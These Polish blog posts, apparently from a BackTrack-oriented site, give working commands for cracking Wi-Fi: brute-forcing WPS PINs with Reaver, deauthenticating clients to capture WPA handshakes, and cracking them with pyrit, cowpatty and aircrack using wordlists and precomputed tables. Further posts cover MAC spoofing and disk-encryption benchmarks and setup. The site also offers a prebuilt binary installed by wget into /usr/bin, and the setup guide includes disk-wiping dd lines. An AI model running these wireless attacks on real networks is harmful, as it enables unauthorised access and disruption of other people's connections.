Opis

Reaver jest programem wykorzystującym metode  brute force do łamania  WPS (Wifi Protected Setup) , w celu „wyjęcia” hasła z punktu dostępowego, zabezpieczającego   transmisje  danych na drodze AP-klient.  Średni czas złamania 8-cyfrowego kodu PIN, oraz uzyskania hasła zawiera się w granicach od 4 do 10 godzin. Do reaver-a dołaczony jest program o nazwie „wash”, dzieki któremu mamy możliwość  sprawdzenia, które AP są podatne na atak WPS.

Opcje programu „Wash v1.4” 

Wymagane argumenty:

-i, –interface=<iface> Interfejs odpowiedzialny za przechwytywanie danych

-f, –file [FILE1 FILE2 FILE3 …] Czytaj pakiety z plików

Opcjonalne argumenty:

-c, –channel=<num> Kanał nasłuchu [auto]

-o, –out-file=<file> Zapisz dane do pliku

-n, –probes=<num> Maksymalna liczba prób do wysłania do każdego AP w trybie skanowania [15]
-D, –daemonize Demonizuj wash

-C, –ignore-fcs Ignoruj błędy sumy kontrolnej ramek

-5, –5ghz Używaj kanałów częstotliwości 5GHz 802.11

-s, –scan Używaj trybu skan

-u, –survey Używaj trybu przeglądania  [domyślnie]

-h, –help Pokaz pomoc

Przykład zastosowania :

wash -i wlan18

Opcje programu „Reaver v1.4”

Wymagane argumenty:

-i, –interface=<wlan> Nazwa interfejsu w trybie nasłuchu

-b, –bssid=<mac> BSSID docelowego AP

Opcjonalne argumenty:

-m, –mac=<mac> MAC hosta

-e, –essid=<ssid> ESSID docelowego AP

-c, –channel=<channel> Ustaw 802.11 kanał dla interfejsu

-o, –out-file=<file> Wyślij log do pliku

-s, –session=<file> przywróć poprzednią sesje z pliku

-C, –exec=<command> Wykonaj podaną komendę z chwilą uzyskania PIN-u

-D, –daemonize „Demonizuj” reaver

-a, –auto Autodetekcja najlepszych opcji/ustawień dla docelowego AP

-f, –fixed Wyłącz „skakanie” po kanałach

-5, –5ghz Używaj kanałów częstotliwości 5GHz 802.11

-v, –verbose Wyświetlaj ostrzeżenia (-vv dla większej ilości)

-q, –quiet Tylko krytyczne wiadomości

-h, –help Pokaż pomoc

Opcje zaawansowane:

-p, –pin=<wps pin> Użyj 4 lub 8 liczbowego PIN-u WPS

-d, –delay=<seconds> Ustaw opóźnienie pomiędzy próbami

-l, –lock-delay=<seconds> Ustaw czas oczekiwania jeśli AP blokuje próby odgadnięcia PIN-u [60]

-g, –max-attempts=<num> Wyjdź po określonej ilości prób PIN

-x, –fail-wait=<seconds> Ustaw czas, po którym następuje  uśpienie, po 10 nieoczekiwanych niepowodzeniach

-r, –recurring-delay=<x:y> Spij przez y sekund każdej x próby PIN

-t, –timeout=<seconds> Ustaw czas do zakończenia

-T, –m57-timeout=<seconds> Ustaw czas zakończenia okresu M5/M7 [0.20]

-A, –no-associate Nie asocjuj z AP (asocjacja musi być wykonana przez inna aplikacje)

-N, –no-nacks Nie wysyłaj NACK jeżeli otrzymałeś pakiet „out-of-order” nie działa

-S, –dh-small Używaj małych kluczy DH w celu poprawy prędkości ataku

-L, –ignore-locks Ignoruj stan zablokowania zgłaszany przez docelowy AP

-E, –eap-terminate Zamykaj każdą sesję WPS po otrzymaniu nieprawidłowego pakietu EAP

-n, –nack Docelowy AP zawsze wysyła NACK [Auto]

-w, –win7 Mimic a Windows 7 registrar [False]

Przykład zastosowania:
reaver -i wlan18 -b 00:12:2A:6F:5D:D8 -c11 -v

reaver -i wlan18 -b 00:12:2A:6F:5D:D8 -c11 -vv -L -a

reaver -i wlan18 -b 00:12:2A:6F:5D:D8 -c11 -p 82487317

reaver -i wlan18 -b 00:12:2A:6F:5D:D8 -c11 -p 82487317 -vv

Łamanie kodu PIN odbywa się dwuetapowo. W pierwszym etapie sprawdzane są wszystkie kombinacje pierwszych 4 cyfr. Po odgadnięciu pierwszej części  pinu sprawdzana jest jego druga część, lecz są to tylko numery pasujące do sumy kontrolnej. Czas odgadnięcia drugiej części PIN jest zazwyczaj znacznie krótszy niż pierwszej.

Kompatybilność sterowników/kart Wi-fi z programem „Reaver v1.4”

Poprawnie działające sterowniki.

Poniższe sterowniki zostały przetestowane, oraz zgłoszone jako poprawnie działające z programem reaver:

  • ath9k
  • rtl8187
  • carl19170
  • ipw2000
  • rt2800pci
  • rt73usb

Częściowo działające sterowniki.

Poniższe sterowniki mogą nie działać prawidłowo z programem reaver, w zależności od  zastosowanej karty wi-fi:

  • ath5k
  • iwlan
  • rtl2800usb
  • b43

Nie działające sterowniki.

Poniższe sterowniki/karty zostały przetestowane, oraz zgłoszone jako niepoprawnie działające z programem reaver:

  • iwl4965
  • RT3070L
  • Netgear WG111v3

Uwagi

  • Aby „reaver” działał poprawnie wymaga sygnału nie słabszego niż ok. -84 dbm.
  • Poprawna praca „reaver-a” wymaga ustawienia karty w trybie nasłuchu (monitor mode)
  •  W praktyce występują AP, z których po odgadnięciu kodu PIN nie ma możliwości „wyjęcia” poprawnego hasła dostępu do sieci. Wykorzystując ten sam PIN reaver „wyjmuje” różne hasła będące długimi ciągami alfanumerycznymi.
  • Należy zwrócić uwagę, że oprogramowanie niektórych AP posiada limit ilości prób możliwych do wykonania w określonym czasie. Po przekroczeniu danego limitu następuje blokada WPS uniemożliwiając nam dalszą kontynuacje ataku.

 

 

 

Tagged with:
 

Kilka osób prosiło mnie już o krótki opis użycia i generowania tęczowych tablic. Ponieważ dziś spędziłem nad nimi kilka h, krótko to opiszę.

Na początek wymagania dla osób które chcą używać tęczowych tablic:

  1. Dowolny słownik w postaci .txt lub .lst
  2. Backtrack 5

Wymagania dla osób które chcą generować tęczowe tablice:

  1. dowolny słownik
  2. Backtrack.pl 5 R3 PREMIUM (najlepiej AMD lub CUDA)
  3. Karta graficzna z CUDA lub AMD Stream (jeżeli mamy dużo cierpliwości to nie jest konieczne)

Co to są „Tęczowe Tablice” (ang. Rainbow Tables) – jest to baza, w tym wypadku hash-y, służąca do łamania hasła. Tablice pozwalają zaoszczędzić dużą ilość mocy obliczeniowej przy sprawdzaniu hand-shake-ów sieci o tych samych ESSID-ach. Przeciętny procesor powinien być w stanie sprawdzić około 100tyś. pmk/s dobre nowoczesne maszyny nawet do 1-2mln. pmk/s. trzeba jednak pamiętać że nie ma sensu tworzyć tablic dla bardzo unikalnych ESSID-ów które mogą się nigdy nie powtórzyć.

Zaczynamy od złapania 4-way hand shake:

airmon-ng start wlan0

airodump-ng -w linksys --bssid 00:21:91:2C:E4:FB -c 11 mon0

Oczywiście podany BSSID to nasz AP którego ESSID to linksys, mon0 to karta w trybie monitor mode. Odpali nam się airodump i zacznie nasłuchiwać, możemy to tak zostawić, poczekać aż jakiś klient się podłączy co w 90% daje nam pewny hs lub jeżeli są kliencie próbować go rozłączyć za pomocą komendy:

aireplay-ng -0 1 -c 00:22:43:07:6D:63 -a 00:21:91:2C:E4:FB mon0

Gdzie 00:22:43:07:6D:63 to nasz klient. Nie należy przesadzać z ilością deauth-ów ponieważ może to spowodować że system zaniecha próby ponownego łączenia np. po 3 nieudanych próbach. Dzieje się tak często gdy system klient-a to Windows XP/Vista/7. Efektem komendy powinien być mały komunikat u góry okna:

CH 11 ][ Elapsed: 56 s ][ 2012-09-26 18:14 ][ WPA handshake: 00:21:91:2C:E4:FB

Po wyjściu z airodump CTRL+C w katalogu stworzy się plik z nazwą linksys i końcówką .cap, w tym pliku jest zapisany hand-shake i musimy go zatrzymać do późniejszej analizy. Aby złapać hs, musimy być w zasięgu AP oraz KLIENTA tej sieci, musimy zablokować nasłuch na kanale AP. Nie można używać anten mocno kierunkowych, jak grid czy parabola. Najlepiej na niedużych odległościach sprawdzają się anteny panelowe o średnim zysku i szerokim kącie pół-mocy. Ewentualnie możemy zastosować anteny omni o dużym kącie pół-mocy, zazwyczaj są to anteny o zysku do 6dBi. Przeciętna antena 9dBi ma kont pół-mocy na poziomie 10 stopi co jest stanowczo za mało. Gdy testujemy poziom zabezpieczeń w budynkach z wieloma piętrami, powinno się używać anten omni o większym zysku, czyli np. 9dBi ale wymusza to na nas poruszanie się miedzy kondygnacjami.

Jeżeli nie chcemy tworzyć tęczowych tablic już w tym momencie możemy przystąpić do „zgadywania” hasła za pomocą aircrack, pyrit-a lub cowpatty.

pyrit -e linksys -i mega.txt -o - passthrough | cowpatty -d - -r linksys-01.cap -s linksys

sam pyrit:

pyrit -e linksys -i mega.txt -r linksys-01.cap attack_passthrough

samo cowpatty:

cowpatty -r  linksys-01.cap -f mega.txt -s linksys

lub

aircrack-ng -w mega.txt -e linksys linksys-01.cap

Najlepsze rozwiązanie to pyrit + cowpatty, ewentualnie sam pyrit, głównie ze względu na szybkość i użycie GPU.

Alternatywną metodą łamania powtarzających się ESSID-ów są tęczowe tablice, które jak wcześniej pisałem oszczędzają nam masę czasu i powalają NIE POSIADAĆ szybkiego GPU, ponieważ wilcza część pracy została już „odwalona” przy ich tworzeniu.

Tworzenie „Tęczowych tablic” – metod na ich tworzenie jest naprawdę masa, same tablice z hash-ami mogą występować w kilku różnych formatach np. format cowpatty lub airolib. Mogą też być magazynowane w bazie pyrit-a która znowu także może mieć format plikowy, baza w pliku sqlite lub mieścić się w prawdziwej bazie jak MySQL lub PostgeSQL. Na nasze potrzeby wystarczy baza plikowa w formacie pyrit-a, która na dodatek jest wybierana domyślnie i mieści się w katalogu .pyrit.

Metoda genpmk – metoda bardzo wolna, ponieważ nie używa wielu rdzeni ani GPU.

genpmk -f mega.txt -d linksys.cow -s linksys

mega.txt to słownik, jak wcześniej linksys.cow to tęczowa tablica, TYLKO i wyłącznie dla ESSID-a „linksys”

Metoda na pyrit-a – dużo szybsza używa tylko i wyłącznie bazy pyrit-a. Na początek importujemy słownik do bazy pyrit-a:

pyrit -i mega.txt import_passwords

Tworzymy SSID dla które ma zostać stworzona baza hash-ów:

pyrit -e linksys create_esssid

Generujemy hash-e dla wszystkich dodanych ESSID-ów:

pyrit batch

Od tego w bazie pyrit-a są gotowe hash-e dla ESSID-a linksys, których bez dodatkowych operacji możemy używać przez:

pyrit -e linksys -r linksys-01.cap attack_db

Jak widać nie musimy dopisywać -i mega.txt ponieważ słownik jest w bazie! Trzeba dodać że jest to jedna z najszybszych metod.

Metoda pyrit + cowpatty – metoda wymaga wykonania wszystkich poleceń jak przy metodzie pyrit-a z bazą danych, czyli:

pyrit -i mega.txt import_passwords

pyrit -e linksys create_esssid

pyrit batch

Następnie możemy przystąpić do generowanie tablic w formacie cowpatty, ale tym razem dużo szybciej niż za pomocą genpmk ponieważ pyrit używa GPU oraz każdego dostępnego rdzenia CPU.

pyrit -e linksys -o linksys.cow export_cowpatty

Tak jak poprzednio powstanie linksys.cow czyli Tęczowa tablica dla ESSID-a linksys. Możemy generować i podawać wiele ESSID-ów jednocześnie, dzięki temu będziemy mieli tablice dla każdego podanego ESSID-a.

Tak przygotowane tablice możemy bez problemy używać w cowpatty:

cowpatty -d linksys.cow -r linksys-01.cap -s linksys

tak samo w pyrit:

pyrit -i linksys.cow -e linksys -r linksys-01.cap attack_cowpatty

Trzeba też dodać że pyrit jest dużo bardziej rozbudowany i przyjmuje spakowane tablice za pomocą GunZip-a który znacznie redukuje ich rozmiar. Aby spakować tablice, należy wykonać:

gzip -9v linksys.cow

Powstanie nam plik linksys.cow.gz który bez problemu podamy zraz za -i . Cowpatty nie obsługuje kompresowanych tablice .gz.

Jeżeli mamy takie widzimisię możemy używać pyrit-a z cowpatty a wtedy już mamy absolutną dowolność formatów tablic, słowników, baz.

Najlepsze wyjście – mimo mnogości możliwości najlepsza metoda sprawdzania, powtarzających się ESSID-ów to moetoda z użyciem bazy danych pyrit-a, ewentualnie razem z cowpatty.

 

Pyrit – to bardzo dobry program, niestety jego wczesna faza rozwoju powoduje że lubi się wywalić, czasem dobra składnia raz powoduje poprawne działanie raz go wywraca, ja sprawdziłem to przynajmniej na kilku maszynach o różnych architekturach. Wersja PREMIUM zawiera możliwie najnowszą wersję pyrit-a pobraną z svn.

Tłumaczenie parametrów pyrit-a:

-b BSSID Access Point-a

-e ESSID Access Point-a czyli nazwa sieci np. linksys

-i plik wejścia, może to być np. słownik lub tęczowa tablica, obsługiwane są słowniki .gz (po kompresji GunZip-em)

-o plik wyjścia, np. do tworzenia tęczowych tablic, dodanie na końcu .gz powoduje że tablica zostanie skompresowana w locie.

-r plik .cap (pcap format) np. z airodump-a lub wireshark można też podać urządzenie jak wlan0

-u adres URL miejsca/sposobu przechowywania danych, może to być np. plik file:///baza, baza danych sqlite:///baza.db serwer tworzony przez pyrit-a relay http://192.168.1.12

–all-handshakes powoduje sprawdzanie handshaków w pliku .cap

Komendy:

  • analyze – analizuje plik .cap w poszukiwaniu hs

pyrit -r linksys.cap analyze

  • attack_batch – sprawdza wszystkie hs, zawarte w pliku .cap

pyrit -r test.pcap -e MojaSiec -b 00:de:ad:c0:de:00 -o HasloMojejSieci.txt attack_batch

  • attack_cowpatty – sprawdzanie hasła przy użyciu tablic cowpatty

pyrit -r mojasiec.cap -e MojaSiec -i rainbow.cow.gz -o - attack_cowpatty

  • attack_db – sprawdza hasła za pomocą tablic z bazy pyrit-a

pyrit -r mojasiec.cap -e mojasiec attack_db

  • attack_passthrough – sprawdza hasło przy pomocy słownika podanego za pomocą -i

pyrit -r mojasiec.cap -e mojasiec -i slownik.txt attack_passthrough

  • batch – generuje tzw. pay kluczy głównych na podstawie słownika wcześniej zaimportowanego i zapisuje jej z bazie pyrit-a

pyrit batch

pyrit -e mojasiec batch

  • benchmark – testuje wydajność pyrit-a
  • check_db – sprawdza poprawność bazy danych pyrit-a
  • create_essid – dodaje do bazy nowy ESSID który po użyciu komendy batch zostanie przetworzony, opcja przyjmuje wiele ESSID-ów na raz.
  • delete_essid – kasuje ESSID z bazy
  • pyrit -e mojasiec delete_essid
  • eval – pokazuje dodaje ESSID-y oraz ilość przygotowanych dla nich par kluczy gł.
  • export_passwords – eksportuje słownik dodany wcześniej do pliku, można podać .gz

pyrit -o slowni.txt export_passwords

  • export_cowpaty – eksportuje wszystkie pary kluczy gł. do pliku w formacie cowpatty

pyrit -e mojasiec -o mojasiec.cow export_cowpatty

  • export_hashdb – export do pliku/bazy w formacie airolib-ng

pyrit -o mojasiec.db -e mojasiec export_hashdb

  • import_passwords – importuje hasła z słownika do bazy pyrit-a

pyrit -i wordlist.txt import_passwords

  • import_unique_password – składnia sugeruje że hasła powinny być importowane bez dubli, ale według man, tak się nie dzieje. (nie polecam używać)
  • list_cores – pokazuje listę rdzeni procesora i sprzętowych przyspieszaczy jak np. GPU
  • list_essids – pokazuje listę ESSID-ów
  • passthrough – polecenie sprawdza hasła zawarte w słowniku, generuje pary kluczy gł. i wysyła je go -o , polecenie można połączyć z cowpatty przez stdio tak aby cowpatty analizowało generowane klucze w locie. Polecenie nie zapisuje kluczy w bazie pyrit-a.

pyrit -e linksys -i mega.txt -o - passthrough | cowpatty -d - -r linksys-01.cap -s linksys

  • relay – bardzo ciekawa komenda, pozwala przetwarzać hasła na klucze przez sieć, jest to bardzo przydatne gdy nie posiadamy w danej maszynie silnego GPU

Serwer, tam gdzie nie mamy silnego GPU:

pyrit -u sqlite:///root/baza.db relay

Klient, tu posiadamy silny GPU:

pyrit -u http://192.168.1.2:17934 batch

  •  selftest – sprawdza działanie mechanizmu przetwarzania pyrita
  • serve – kolejna, rewelacyjna opcja pyrita, serwer mocy obliczeniowej. Powoduje że na porcie 17934 otwiera się furtka do mocy obliczeniowej maszyny, tak że kliencie mogą się łączyć i przetwarzać za jej pomocą.

Serwer mus mieć wpis w .pyrit/config known_clients a następnie odpalone:

pyrit serve

Klient, musi mieć wpis w .pyrit/config rpc_server i odpalić lokalnie dowolną komendę:

pyrit -r mojasiec.cap.gz -e mojasiec -i slownik.txt attack_passthrouth

  • strip, stripLive – służą do wyjmowania z plików .cap samego handshake

pyrit -r "duzyplik.cap" -e MyNetwork -o tylko_hs_mojejsieci.cap.gz strip

  • verify – sprawdza 10% wygenerowanych wcześniej kluczy przez ich ponowne generowanie

Wydajność testowania hasła na tęczowych tablicach:

  • AMD Phenom II 4×3.6GHz (użyty 1 rdzeń) cowpatty ~280,000 pmk/s
  • AMD Phenom II 4×3.6GHz (użyte 4 rdzenie) pyrit ~1mln. pmk/s
  • AMD GPU 7870 GDDR5 pyrit ~5mln. pmk/s (wszystkie pliki na ramdisk-u)
  • Intel i3 2x2Ghz (użyty 1 rdzeń) cowpatty ~120,000 pmk/s
  • Intel i7 4×3.6GHz (cały czas w trybie turbo 3.8GHz, 1 rdzeń) cowpatty ~300,000pmk/s
  • Intel i7 4×3.6GHz (cały czas w trybie turbo 3.8GHz) pyrit ~1.1mln. pmk/s
  • Intel i5 + AMD GPU 5470M ~600,000 pmk/s
  • AMD A4 (2Ghz +5470M) + 7670M ~1.4mln. pmk/s
  • Intel CPU P4 Mobile cowpatty ~80,000 pmk/s

Materiały:
http://code.google.com/p/pyrit/w/list

http://wirelessdefence.org/Contents/coWPAttyMain.htm

Adnotacja: Wszystkie informacje mają służyć celą edukacyjnym oraz testowaniu bezpieczeństwa infrastruktury sieci firmowych. Nie namawiam do łamania prawa! Prawo łamią ludzie, nie programy.

Update: dla osób które nie posiadają szybkiego GPU lub nie mają cierpliwości czekać na ich generowanie postanowiłem wrzucić kilka gotowych tablic dla popularnych ESSID-ów. Wszystkie tęczowe tablice zrobione na bazie naszego polskiego słownika są dostępne tutaj.

Tagged with:
 

Kolejna edycja mojej wersji BT5 będzie już domyślnie zawierać ten program, na chwilę obecną udostępniam jednak program gotowy do pobrania i odpalenia na BackTrack-u który go nie posiada.

Wszystko do pobrania tutaj, pliki są bardzo malutkie, jedyne co trzeba zrobić to pobrać, opcjonalnie rozpakować i odpalić.

Udostępniam też źródła, które dostępne są także na stronie: http://code.google.com/p/reaver-wps/

Instalacja:

wget http://backtrack.pl/files/reaver -P /usr/bin && chmod +x /usr/bin/reaver

Kilka słów na temat samego narzędzia:

Program łamie PIN ustawiony metodą WPS, czyli zazwyczaj przez magiczny przycisk znajdujący się na obudowie routera. Program potrzebuje 4-10h na złamanie każdego hasła. Wszystkie router-y posiadające WPS są narażone.

Aby uchronić się przed złamaniem, musimy ustawić silne hasło, ręcznie bez użycia WPS.

WPS: http://sviehb.files.wordpress.com/2011/12/viehboeck_wps.pdf

Update do wersji 1.3 oraz walsh:

http://chomikuj.pl/funtoo/reaver+-+wpa+cracker/reaver+1.3

komenda:

wget http://backtrack.pl/files/reaver -P /usr/bin && chmod +x /usr/bin/reaver

Instaluje teraz wersję 1.3

Dodatkowo można pobrać mikro program o nazwie walsh który pozwala odszukać AP podatne na lukę.

Tagged with:
 

NOWA WERSJA SŁOWNIKA DOSTĘPNA JEST NA:

http://backtrack.pl/polish-wordlist-project/

lub w systemie Backtrack.pl PREMIUM

 

 

informacje niżej są NIE AKTUALNE!

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Dla potrzebujących przygotowałem mój prywatny zbiór słowników do różnego rodzaju programów łamiących hasła. Słowniki są w formacie tekstowym, jedne linijka = jedno słowo, kodowanie znaków w 20% ISO-8859-2 75% US-ASCII 5% UTF-8. Słowniki działają z programami: aircrack-ng (WPA2/AES), zipcrack, rarcrack itp.

Niektóre słowniki mają po 500Mb dlatego też zostały mocno spakowane za pomocą LZMA2 (xz) pod linux-em rozpakowuje się je za pomocą: xz-utils pod Windows 7zip

Debian/Ubuntu: apt-get install xz-utils
Gentoo: emerge xz-utils
Arch: pacman -Ss xz-utils
Rozpakować archiwum (linux): xz -d nazwa_slownika.xz

Wszystkie słowniki są do pobrania tutaj: http://chomikuj.pl/funtoo/s*c5*82ownik+aircrack

Umieściłem je na chomiku bo z rapid-a zostały kilka razy skasowane bez przyczyny… słowniki nie są nielegalne!

Opis poszczególnych słowników:

polski – polskie słowa, kolekcja z gier typu literaki

pl_pr – polski słownik wzbogacony o proste popularne hasła POLSKIE

password 1-3 – lekko poprawione słowniki z BackTrack 3

wpa – słownik z Bt4 lekko skorygowany

mega – spory polski słownik, polskie proste hasła, proste zagraniczne hasła

tematyczne – kilka słowników tematycznych, nazwy aut, komputerów, imiona, typowe hasła itp. (bardzo skuteczny)

EDIT 2012-09-01: Nowe POLSKIE słowniki dostępne są na http://backtrack.pl/polish-wordlist-project/

Tagged with:
 

Problem z zmianą adresu MAC karty sieciowej ?

Faktycznie od czasu Windows Vista problemów jest sporo szczególnie dlatego że nowe sterowniki do wielu kart są dosyć problematyczne ale mimo wszystko większość kart daje sobie bez problemu zmienić MAC.

Do najpopularniejszych dających sobie zmienić adres MAC kart należą:

  • 99,9% kart przewodowych (RTL8139, 8169, 3COM, Intel, Marvel itd.)
  • Tonze UW-6200C1 UW-6200R/H UW-6200RX
  • Edimax EW-7318USG (RT73USB/RT2500)
  • Alfa AWUS036H (500mW, 1W)
  • TP-Link WN321G WN322G WN510G WN551G WN353G WN7200ND
  • 100% kart na RTL8187L RTL8187B RTL8180
  • 100% kart na RaLink RT2500 RT257X RT2671 RT5200

Problematyczne karty to:

  • TP-Link WN721N WN722N WN422G v2 WN421G (chip Atheros AR9271, ZyDAS w wersji 1 WN422G działa) po instalacji sterownika dostarczonego przez Windows Update o naziwe (AR9271) zmiana adresu mac zaczyna działać.
  • Alfa AWUS050NH
  • karty na chipach RaLink RT2870 RT2770 RT307X RT2070 RT3572 RT3370 RT8070 (nie aktualne, nowy sterownik działa już poprawnie)

Pozostałe problemy jakie są z zmianą adresów MAC wywołuje system WINDOWS! Szczególnie mam tu na myśli Vistę oraz Seven. XP jest tolerancyjny.

Co należy zrobić aby zmienić adres IP:

Pierwsza metoda to zmiana adresu w zaawansowanych właściwościach karty sieciowej, adres występuje tam jako: „Ethernet Hardware Address” albo „Locally Administered Address” czasem takiego parametru wcale nie ma.

Jeżeli nie ma takiego parametru musimy udać się do rejestru i zmienić go w nim.

Metoda druga: rejestr – odpalamy REGEDIT i udajemy się do „HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\” gdzie znajdują się katalogi 0001 0002 0003 które dotyczą poszczególnych kart sieciowych w naszym systemie. Niestety Windows kartę na USB wsadzoną w inny port niż poprzednio rozpoznaje jako nową i dodaje kolejny katalog 0005 0006 itd.

Kartę możemy rozpoznać po opisie który jest pod parametrem „Describtion”. Adres MAC zmieniamy przez edycję parametru „NetworkAddress” wpisujemy tam np. 001122334455 (bez – : . ,)

Metoda trzecia „prosta” dla leniwych polecam programy:

MAC MakeUP, SMAC, EtherChange, GetMAC, MadMacs, MACShift i pewnie jeszcze cała masa innych.

Dla posiadaczy karty ALFA AWUS036* producent przygotował sterownik opatrzony „Power Control” pozwala on zmienić moc nadawania karty ale w łatwy sposób zmienić adres MAC. Testowałem wersję dla RTL8187L działa dobrze, oczywiście regulacja mocy to fikcja, ale wiele innych dodatkowych opcji może się do czegoś przydać. Co ciekawe sterownik działa nie tylko dla produktów firmy ALFA ale także dla wszelakich kart z chipem RTL8187L.

Podobna wersja sterownika jest też przewidziana dla kart z RT25XX (rt73usb) a na ftp są wersja dla nowszych kart.

Pamiętajcie jednak że aby dokonać zmiany adresu MAC trzeba być administratorem lub posiadać jego prawa. Inaczej wiele programów „udaje” że zmienia adres a w rzeczywistości dostają „odmowę dostępu”

Krótka wersja zmiany adresu MAC dla LINUX-a:

1. ifconfig

ifconfig wlan0 down

ifconfig wlan0 hw ether 00:00:00:AA:AA:AA

2. macchanger

ifconfig wlan0 down

macchanger -m 00:11:22:33:44:55 wlan0

 

Windows Vista/7 – oba te systemy nie pozwalają na zmianę adresu MAC na inne niż z początkiem 02:

Tagged with:
 

Kolejny test, przeprowadzony w podobnych warunkach.

Tym razem konfrontacja dm-crypt-a z TrueCrypt-em

Maszyna oraz warunki są identyczne z tymi w poprzednim teście.

Użyłem algorytmu AES (384bit) hash: sha512 mode of operation XTS
W przypadku TC działającego na pliku który został umieszczony na partycji z systemem plików XFS (sync) o wielkości całej partycji.

Test nr.1 rozpakowywanie kernel-a 2.6.24:

Test nr.2 kasowanie wcześniej rozpakowywanego kernela:

Wniosek:
TrueCrypt za czasów wersji 4.X używał dm-crypt ale wersja 5.0 używa FUSE i jak widać przewaga dm-crypt jest miażdżąca. Nic dodać nic ująć.

Zapowiadam kolejne testy o które zostałem poproszony, tym razem optymalizacja kompilatora GCC 4.X

Tagged with:
 

Niedawno ukazało się nowe jajko w wersji 2.6.24 (aktualnie już 2.6.24.1) w którym dodano nowy algorytm szyfrujący aes-xts-plain, jest to dobra wiadomość bo dm-crypt dostał nową możliwość, a raczej sposób wiązania zaszyfrowanych bloków jakim jest XTS.

XTS jest już dostępne pod linux-em za pomocą TrueCrypt 5.0 który używa XTS jako domyślnego sposobu.

Jednak nie mam zamiaru rozczulać się tu na temat czym się różni starsza metoda LRW od XTS, tylko przetestuje wydajność.

Do tego celu wybrałem maszynę zaopatrzoną w Athlon-a64 taktowanego 1.6GHz na płycie Gigabyte K8Triton Server z 4GB ramu i zainstalowanym Slackware-em 12.0 (aktualizowanym do current) z jajkiem 2.6.24

Podczas testów używam klucza o długości 384bitów algorytmu haszującego sha512 test powtarzałem 10 razy a wyniki uśredniłem.

Pierwszy test to rozpakowywanie kernel-a 2.6.24 na 1GB partycji (na początku dysku) umieszczonej na dysku Samsung SP 250GB SATA2 pod kontrolą systemu plików XFS (sync).

wniosek: realny czas rozpakowania jądra spadł średnio o 15% !

Drugi test to kasowanie wcześniej rozpakowanego źródła

wniosek: podobnie jak w przypadku rozpakowywania prędkość kasowania wzrosła o 8%

Próbowałem jeszcze robić kilka testów np. kasowanie pliku o wielkości 10Mb za pomocą bcwipe metodą Gutmann-a ale rezultaty są podobne i zbliżają się do około 10% różnicy na korzyść XTS.

Co ciekawe gdy użyjemy długości klucza 512bit dla XTS rezultaty spadają bardzo nieznacznie w porównaniu do 384bitów.

Rozpakowywanie kernela:
512/384bit (XTS)

Kasowanie:
512/384bit (XTS)

Wniosek: różnica wydajności żadna, a wzrost mocy szyfrowania bardzo znaczący.

Podobny test przeprowadzałem dla LRW ale różnica też była nieznaczna.

Wniosek końcowy:
Z racji że LRW oraz XTS w kernelu są oznaczone jako eksperymentalne trzeba by było pozostać przy starym CBC jednak wielu użytkowników używa z powodzeniem LRW w tym ja, bez jakichkolwiek kłopotów.

Ja zalecam pozostanie przy LRW do czasu aż XTS się troszkę rozwinie, ponieważ na razie nie budzi zaufania, np. dlatego że w help-ie jądra pisze:
„This implementation currently can’t handle a sectorsize which is not a multiple of 16 bytes.”
Wiem że to teoretycznie nic nie znaczy jednak mi się wydaje że autor chciał tu powiedzieć:
„To jest nieskończona wersja, pracuje nad tym”

KONIEC

W najbliższym czasie przeprowadzę podobny test którego celem będzie sprawdzenie wydajności dm-crypt aes-xts-plain vs. TrueCrypt 5.0 aes-xts , który jak zawsze umieszczę tu 🙂

Po naciskach ze strony czytelników stwierdziłem, że muszę wykonać jeszcze test porównawczy dm-crypt aes-xts vs. TrueCrypt 5.0 aes-xts vs. brak szyfrowania, aby ukazać jak spada wydajność gdy używamy szyfrowania.

Dodatkowe informacje można odszukać na poniższych stronach:
Bardzo bogata dokumentacja TrueCrypt: http://www.truecrypt.org/docs/
Trochę o dm-crypt: http://pl.wikipedia.org/wiki/DM-Crypt
Dokumentacja Cryptsetup+LUKS: http://www.saout.de/tikiw…x.php?page=LUKS
Polska wiki „mode of operation”: http://pl.wikipedia.org/wiki/CBC
Znacznie bogatsza angielska wersja wiki „block cipher mode of operation”: http://en.wikipedia.org/w…es_of_operation
Teoria szyfrowania dysków: http://en.wikipedia.org/w…cryption_theory

Tagged with:
 

devicemapperCiąg dalszy szyfrowania, czyli metoda na Device Mapper-a z cryptsetup (LUKS)

Metodę uważa się za lepszą niż AES-Loop a na 100% wygodniejsza 🙂

Różnice między AES-Loop-em a DM są ogromne, po pierwsze dm, został dodany do jądra systemu i znajduje się w większości nowych 2.6.X tak, że nie wymaga patchowania itp.
Po drugie mamy do wyboru masę różnych algorytmów szyfrujących! Nie tylko AES jak w AES-Loop.

Niestety większość dystrybucji Linux dodaje tylko cryptsetup który jest dobry ale nie tak wygodny jak cryptsetup z LUKS.

LUKS po za tym, że jest jednostką natężenia światła jest też: Linux Unified Key Setup, czyli standard szyfrowania dysków pod kontrolą systemu Linux. Dodatkowo daje nam też możliwość zarządzania hasłami (zmiana, kasowanie, dodawanie) bez potrzeby rekompresowania danych!

Więcej informacji oraz cryptsetup-luks są dostępne na: http://luks.endorphin.org/

Jak to zrobić ?

1. Na początek musimy odpowiednio skompilować jądro, tak aby była w nim obsługa SCSI i DM-Crypt. Nie trzeba posiadać starego crypt-loop-a!

2. Musimy zainstalować cryptsetup-luks z podanej wyżej strony.

3. Tak samo jak przy AES-Loop na początek trzeba wyczyścić dysk.
Wolny sposób:
dd if=/dev/urandom of=/dev/sda1 bs=1m
Szybki sposób:
dd if=/dev/zero of=/dev/sda1 bs=1m

4. Zakładamy partycję LUKS na dysku:
cryptsetup –verbose –cipher „aes-cbc-essiv:sha256” –key-size 256 –verify-passphrase luksFormat /dev/sda1

Oczywiście wolno nam wybrać inny algorytm szyfrowania np. LRW (aes-lrw_benbi), DES (des-cbc, des, des-cfb, des-ofb, des-ecb), AES (aes-cbc-essiv)

Ja polecam AES, odradzam DES, a do eksperymentów LRW (które u mnie działa z powiedzeniem od pół roku)

5. Podpinamy partycję do DM
cryptsetup luksOpen /dev/sda1 zaszyfrowane

6. Tworzymy system plików na naszej partycji
mkfs -t ext /dev/mapper/zaszyfrowane

System plików jest obojętny: xfs, ext2, ext3, jfs, reiserfs

7. Montujemu partycję
mount -t ext3 /dev/mapper/zaszyfrowane /mnt/crypt

To wszystko, mamy już nasz dysk zaszyfrowany 🙂

Aby odmontować:
umount /dev/mapper/zaszyforwane
cryptsetup luksClose zaszyfrowane

